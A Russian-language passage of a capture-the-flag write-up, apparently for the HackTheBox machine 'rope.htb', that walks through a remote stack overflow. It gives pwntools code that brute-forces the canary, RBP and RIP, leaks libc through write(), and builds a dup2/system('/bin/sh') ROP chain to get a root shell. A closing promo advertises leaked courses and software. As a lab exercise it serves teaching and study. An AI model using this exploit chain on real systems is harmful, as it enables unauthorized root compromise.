  5. Собрать ROP, в котором поток стандартных дескрипторов будет перенаправлен в сетевой дескриптор программы, после чего вызвать /bin/sh через функцию system.

1.Переполнение буфера


Как можно наблюдать ниже, при передаче 56 байт программа продолжает работать нормально, но передав 57 байт — получим исключение. Таким образом нарушена целостность буфера.

image

Давайте сделаем шаблон эксплоита. Так как нужно будет много перебирать и переподключаться, то отключим вывод сообщений pwntools (log_level).

#!/usr/bin/python3
from pwn import *

HOST = '127.0.0.1'
PORT = 1337
context(os = "linux", arch = "amd64", log_level='error')

pre_payload = "A" * 56

r = remote(HOST, PORT)

context.log_level='info'
r.interactive()

2.Canary, RBP, RIP


Как мы разобрались, после 56 байт буфера идет канарейка, а после нее в стеке расположены адреса RBP и RIP, которые также нужно перебрать. Давайте напишем функцию подбора 8 байт.
def qword_brute(pre_payload, item):
    qword_ = b""
    while len(qword_) < 8:
        for b in range(256):
            byte = bytes([b])
            try:
                r = remote(HOST, PORT)
                print(f"{item} find: {(qword_ + byte).hex()}", end=u"\u001b[1000D")
                send_ = pre_payload + qword_ + byte
                r.sendafter(b"admin:", send_)
                if b"Done" not in r.recvall(timeout=5):
                    raise EOFError
                r.close()
                qword_ += byte
                break
            except EOFError as error:
                r.close()
    context.log_level='info'            
    log.success(f"{item} found: {hex(u64(qword_))}")
    context.log_level='error' 
    return qword_

Таким образом мы можем составить pre_payload:
pre_payload = b"A" * 56
CANARY = qword_brute(pre_payload, "CANARY")
pre_payload += CANARY
RBP = qword_brute(pre_payload, "RBP")
pre_payload += RBP
RIP = qword_brute(pre_payload, "RIP")

3.PIE


Теперь давайте разберемся с PIE. Мы нашли RIP — это адрес возврата, куда мы возвращаемся из функции. Таким образом, мы можем вычесть из него адрес возврата в коде.

image

Таким образом смещение от базы равно 0x1562. Давайте укажем реальный адрес запущенного приложения.

base_binary = u64(RIP) - 0x1562
binary = ELF('./contact')
binary.address = base_binary
libc = ELF('./libc.so.6')

4.Memory leak


В приложении для для вывода строки приглашения используется стандартная функция write(), которая принимает дескриптор для вывода, буфер и его размер. Мы можем использовать данную функцию.

Для удобства работы давайте воспользуемся модулем ROP из pwntools. Вкратце, как и почему это работает представлено на изображении ниже.

image

Давайте получим утечку, это позволит нам узнать по какому адресу находится функция write в загруженной библиотеке libc.

rop_binary = ROP(binary)
rop_binary.write(0x4, binary.got['write'], 0x8)
send_leak = pre_payload + flat(rop_binary.build())

r = remote(HOST, PORT)
r.sendafter(b"admin:", send_leak)
leak = r.recvall().strip().ljust(8, b'\x00')
print(f"Leak: {hex(u64(leak))}")
base_libc = leak - libc.symbols['write']

5.ROP


Давайте изменим базовый адрес библиотеки libc и найдем адрес строки /bin/sh.
libc.address = base_libc
shell_address = next(libc.search(b"/bin/sh\x00"))

Осталось собрать ROP, в котором будет перенаправление стандартных дескрипторов ввода/вывода (0,1,2) в дескриптор, зарегистрированный в программе (4). После чего произойдет вызов функции system, куда мы передадим адрес строки /bin/sh.
rop_libc = ROP(libc)
rop_libc.dup2(4, 0)
rop_libc.dup2(4, 1)
rop_libc.dup2(4, 2)
rop_libc.system(shell_address)

payload = pre_payload + flat(rop_libc.build())

r = remote(HOST, PORT)
r.sendafter(b"admin:", payload)
time.sleep(2)
r.sendline(b"id")

6. Эксплуатация
Полный код эксплоита.

image

Теперь на сервере запишем ключ ssh в файл /home/r4j/.ssh/authorizef_keys.

image

И пробросим порт (сделаем так, чтобы соединение с локального порта 1337 перенаправлялось по SSH на порт 1337 удаленного хоста).

ssh -L 1337:127.0.0.1:1337 -i id_rsa r4j@rope.htb

И запускаем эксплоит.

image

Мы работаем под рутом.

Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.

Let's block ads! (Why?)